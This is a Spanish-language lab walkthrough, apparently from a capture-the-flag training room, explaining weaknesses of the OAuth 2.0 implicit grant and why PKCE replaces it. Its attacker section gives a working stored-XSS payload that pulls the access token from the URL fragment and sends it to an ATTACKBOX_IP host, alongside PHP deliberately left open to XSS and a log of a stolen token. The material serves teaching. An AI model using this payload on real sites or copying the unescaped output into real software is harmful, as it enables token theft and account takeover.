EN el flujo de permiso implícito, los tokens se devuelven directamente al cliente via navegador sin requerir ningún código de autorización . Este flujo es principalmente usado por aplicaciones de una sola página y está diseñado para clientes públicos que no pueden almacenar de forma segura secretos de clientes. Sin embargo, este flujo tiene vulnerabilidades inherentes.
Debilidades
- Exponer Tokens de Acceso en la URL: La aplicación redirige al usuario al endpoint de autorización OAuth, el cual devuelve el token de acceso en el fragmento URI. Cualquier script que corra en la página puede acceder a este fragmento.
- Validar Inadecuadamente las URIs de Redirección: El servidor OAuth no valida adecuadamente las URIs de redirección, permitiendo a ataques manipular el endpoint de redirección.
- HTTPS sin Implementar: La aplicación no aplica HTTPS, lo que puede llevara intercepción del token mediante ataques MITM.
- Manejo Inadecuado de Tokens de Acceso: La aplicación guarda el token de acceso de forma insegura, posiblemente en
localStorageosessionStorage, haciéndolo vulnerable a ataques XSS.
Obsolescencia del Flujo de Permiso Implícito
Debido a estas vulnerabilidades, el framework de Mejor Práctica Actual respecto a OAuth 2.0 recomienda dejar de utilizar el flujo de permiso implícito en favor del código de autorización con Prueba Clave del Intercambio de Código (PKCE). Este flujo mejorado permite seguridad mejorada mitigando los riesgos de la exposición del token y la falta de autentificación del cliente.
Práctica
Antes de empezar con el ejercicio asegúrate de tener la sesión cerrada visitando http://coffee.thm:8000/admin/logout.
Visita http://factbook.thm:8080, donde verás una página que permite sincronizar tus estados de CoffeeShopApp. El proceso de autorización empezará una vez que hagas click en el botón "Sync Statuses from CoffeeShopApp". La aplicación cliente está configurada para usar el tipo de permiso implícito, lo que significa que el token de acceso será directamente devuelto al cliente. La URL de autorización se construye así:
var client_id = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7'; var redirect_uri = 'http://factbook.thm:8080/callback.php'; var auth_url = "http://coffee.thm:8000/o/authorize/"; var url = auth_url + "?response_type=token&client_id=" + client_id + "&redirect_uri=" + encodeURIComponent(redirect_uri); window.location.href = url;
Perspectiva de la Víctima
Una vez que el usuario se identifica usando el proveedor de OAuth con las credenciales victim:victim123, será redirigido a callback.php, donde puede introducir un estado. Esta página incluye un formulario para introducir estados y subirlos vía una petición AJAX.
<button class="btn btn-primary" onclick="submitStatus()">Submit</button> <h2 class="mt-4">Submitted Status</h2> <ul class="list-group" id="status-list"> <?php session_start(); if (isset($_POST['status'])) { $status = $_POST['status']; if (!isset($_SESSION['statuses'])) { $_SESSION['statuses'] = []; } $_SESSION['statuses'][] = $status; header('Content-Type: application/json'); echo json_encode(['status' => $status]); exit(); } // Display previously stored statuses if (isset($_SESSION['statuses'])) { foreach ($_SESSION['statuses'] as $status) { echo '<li class="list-group-item">' . $status . '</li>'; } } ?> </ul>
Con propósitos de demostración, el campo de input de estado es vulnerable a XSS. Una vez alcances la página de estado e introduzcas un estado como "Hello", será publicado. Sin embargo, si un atacante explota esta vulnerabilidad, puede inyectar un script malicioso.

Perspectiva del Atacante
Para prepararte para el ataque, corre un servidor Python usando python3 -m http.server 8081. Si te salta un error de puerto en uso, usa otro. El atacante compartirá el siguiente payload con la víctima el cual introdujo como estado:
<script>var hash = window.location.hash.substr(1);var result = hash.split('&').reduce(function (res, item) {var parts = item.split('=');res[parts[0]] = parts[1]; return res; }, {}); var accessToken = result.access_token; var img = new Image(); img.src = 'http://ATTACKBOX_IP:8081/steal_token?token=' + accessToken; </script>
Veamos el payload:
- Comienza extrayendo el fragmento identificador de la URL, que es la parte de la URL que sigue al símbolo
#. Elimina#usandosubstr(1). - Esta string se parte por
¶ separar los pares de clave-valor. La funciónreduceprocesa cada uno de estos pares, partiéndolos por=para aislar las claves y los valores. Y se guardan dichos pares. - El script extrae el valor
access_tokeny lo asigna a la variableaccessToken. Para exfiltrar este token de acceso, el script crea un nuevo Objeto de Imagen y configura su atributosrcpara que apunte al servidor del atacante (http://ATTACKBOX_IP:8081/steal_token), añadiendo el token de acceso como parámetro. - Cuando se carga la imagen, dispara una petición al servidor del atacante con el token robado incluido en la URL.
Copia y pega el código dentro de la máquina de la víctima en el campo de status. Refresca la página si no te llega.
root@ip-10-10-162-175:~# python3 -m http.server 8081 Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ... 10.9.2.217 - - [27/Aug/2024 19:30:10] code 404, message File not found 10.9.2.217 - - [27/Aug/2024 19:30:10] "GET /steal_token?token=2aauviER3lUOev8wNmXQ9B4GNUoadE HTTP/1.1" 404 -
